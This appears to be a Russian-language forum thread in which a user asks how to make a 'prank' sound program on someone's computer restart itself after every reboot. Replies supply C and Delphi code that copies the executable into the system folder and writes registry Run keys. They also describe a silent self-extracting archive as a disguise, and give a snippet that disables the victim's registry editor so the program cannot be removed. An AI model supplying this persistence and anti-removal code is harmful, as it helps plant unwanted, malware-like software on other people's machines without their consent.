прога-прикол! Нужна помощь)))

[oberten]

http://slil.ru/24198524 здесь лежит мини файл прикола. Когда запускаешь , то периодически комп начинает пердеть пукать и отрыгивать. Прога прикол короче. Вопрос такой кто может его чуть переделать, чтобы при запуске на компе но посзагрузки компа прописывался бы в автозагрузку скажем? вообще, чтобы после перезагрузки компа этот прикол снова и снова активировался! :)

[*D1VER]

один вопрос. ЗАЧЕМ оно тебе?

[-n00by-]

void Copy(void)
{
char FileName[256],String[256];;
GetModuleFileName(0,FileName,256);
GetSystemDirectory(String,255);
lstrcat(String,"\\**имя_файла**");
CopyFile(FileName,String,TRUE);
}

DWORD Autorun(void)
{
char String[256];
HKEY hKey;
GetSystemDirectory(String,255);
lstrcat(String,"**имя_файла**");
DWORD ret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",&hKey);
if (ret==ERROR_SUCCESS)
{
ret = RegSetValueEx(hKey,"Run",0,REG_SZ,(const unsigned char *)String,lstrlen(String));
}
if (ret==ERROR_SUCCESS)
return TRUE;
else
return FALSE;
}

[gold-goblin]

Мой 1 способ:
1) делаем батник который добавит фаил на авто загрузку в реестре
2) запихиваем в само распоковывающийся архив батник и прогу, настраиваем архив на незаметное извлечение и запуск батника.

Мой 2 способ:
1)создаем само распоковывающийся архив и запихиваем в него нашу прогу, в настройках архива выставляем создание ярлыка в папке автозагрузки.

[n0ne]

gold-goblin, ну не ярлыка, а копии уж тогда.

[Sn@k3]

C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузк а =\
остальные методы расхваталиюю етсь ещё пара идей, но они те не понравяться

[_artem_]

procedure TForm1.FormCreate(Sender: TObject);
var
RegIni : TRegIniFile;
begin
RegIni := TRegIniFile.Create('Software');
RegIni.RootKey := HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('Run', 'файло.exe', Application.ExeName);
RegIni.Free;
end;

вот так можно в делфи прописать файл в автозагрузку через реестр...
сильно не орать! делфи только два дня учу :)

[goodkit]

SORRY 4 OFFTOP Вы смотрите оокуратней с такими приколами, тут ко мне друг зашел себе фильмы слить с моего компа и я увидел у него прогу, говорит тоже прикол когда то качал что то типа там делаетца с виндовс, ну я чуть было не зустил....проверил на http://www.virustotal.com, а там трой/бэкдор, приятель сам в осадок выпал )

[gold-goblin]

n0ne

При создании само распокоющего архива можно сразу поставить галочку: добавить ярлык в папку авто загрузки.
И с адресами меньше мороки.

[Ci5]

Можно написать что-то типа того.
program project2;
uses
Windows,
registry;

var
h: TRegistry;
begin
h := TRegistry.Create;
with h do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\Windows\CurrentVersio n\Run', true);
WriteString('имя программы, 'C:\windows\system32\ProgramName.exe');
CloseKey;
Free;
end;
CopyFile(PChar('ProgramName.exe'),PChar('ProgramNa me.exe'),true);
end.
Потом просто создать SFX архив, указать чтобы при распаковке архива запустиласть эта программка.
Можно еще доступ к реестру ему отключить, вставив это кусочек
H := TRegistry.Create;
with H do
begin
RootKey := HKEY_CURRENT_USER;
OpenKey('\Software\Microsoft\Windows\CurrentVersio n\Policies\System', true);
WriteInteger('DisableRegistryTools', 1);
CloseKey;
Free;
end;

Если у тя нет Delphi, могу откомпилить и те отослать.

[Ci5]

Че-то какие-то прогоны с пробелами в коде. И исправить не могу, в редакторе все нормально. Мож кто даст объяснение ?